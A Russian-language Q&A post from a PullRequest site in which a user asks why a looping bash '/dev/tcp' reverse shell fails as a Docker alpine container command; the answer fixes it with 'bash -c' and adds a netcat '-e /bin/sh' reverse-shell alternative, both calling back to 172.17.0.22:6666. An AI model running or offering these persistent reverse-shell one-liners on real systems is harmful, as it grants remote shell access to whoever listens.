Bash перенаправление не работает при создании контейнера: «невозможно создать / dev / tcp / <ip>/ <port>: несуществующий каталог» - PullRequest
0 голосов
/ 06 августа 2020

Я пытаюсь создать контейнер, который подключается к указанному c IP и порту, но у меня это не работает с bash, только с обычной оболочкой.

Когда я создаю контейнер с таким перенаправлением bash:

docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'

Я получаю следующие ошибки:

sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory

Но если я создам его отдельно вот так:

$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done

Это будет работать.

Я читал этот похожий случай, но он написал, что он должен работать с vesrion 2+, а у меня 4.4.

1 Ответ

0 голосов
/ 06 августа 2020

Хорошо, я решил, это была проблема со скобками, мне нужно было позвонить bash с -c, а затем запустить команду внутри, чтобы он распознал его:

docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'  

Кстати , обходным путем было просто использовать такую ​​оболочку:

sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...